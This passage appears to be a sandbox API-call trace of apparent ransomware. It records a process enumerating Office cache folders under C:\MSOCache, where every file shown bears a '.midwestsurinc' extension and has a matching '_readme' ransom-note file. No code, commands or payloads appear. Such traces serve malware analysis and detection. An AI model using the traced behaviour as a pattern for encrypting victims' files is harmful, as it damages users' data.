ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.690] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.691] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dcb4930, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x4dcb4930, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.691] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.691] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dcdaa90, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x4dcdaa90, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.691] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dcdaa90, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x4dcdaa90, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 0 [0227.691] GetLastError () returned 0x12 [0227.691] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4470) returned 1 [0227.691] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0227.691] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.691] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f3a58) returned 1 [0227.691] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51647d50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x51647d50, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.692] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.692] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51647d50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x51647d50, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.692] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0227.692] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0227.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.693] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0227.693] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.693] NtClose (Handle=0x1b0) returned 0x0 [0227.693] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f3a58 [0227.693] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4470 [0227.693] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd560 [0227.705] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51647d50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x51647d50, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.706] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0227.706] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.706] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.706] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dfae4b0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x4dfae4b0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.706] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.706] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.706] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.706] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.706] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.706] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.707] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.707] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dffa770, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x4dffa770, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.707] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.707] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.707] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.707] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.707] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab.midwestsurinc", cAlternateFileName="")) returned 1 [0227.707] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.707] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.707] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51589670, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x51589670, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.707] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.707] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.707] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.707] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.707] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.707] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.707] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.707] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51647d50, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x51647d50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.707] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.707] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.707] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.707] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.707] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51647d50, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x51647d50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 0 [0227.707] GetLastError () returned 0x12 [0227.707] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd460 [0227.708] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0227.709] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51647d50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x51647d50, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.709] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0227.709] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dfae4b0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x4dfae4b0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.709] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.709] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dffa770, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x4dffa770, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.709] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab.midwestsurinc", cAlternateFileName="")) returned 1 [0227.709] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51589670, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x51589670, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.709] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.709] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51647d50, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x51647d50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.709] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51647d50, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x51647d50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 0 [0227.709] GetLastError () returned 0x12 [0227.709] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4470) returned 1 [0227.709] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0227.710] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.710] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f3a58) returned 1 [0227.710] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x52633070, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x52633070, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.710] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.710] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x52633070, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x52633070, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.712] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0227.712] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0227.712] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.712] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0227.713] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.713] NtClose (Handle=0x1ac) returned 0x0 [0227.713] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.713] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.713] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.713] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f3a58 [0227.713] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.713] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4470 [0227.713] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd460 [0227.715] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x52633070, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x52633070, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.715] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0227.715] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.715] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.715] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x519b3cf0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x519b3cf0, 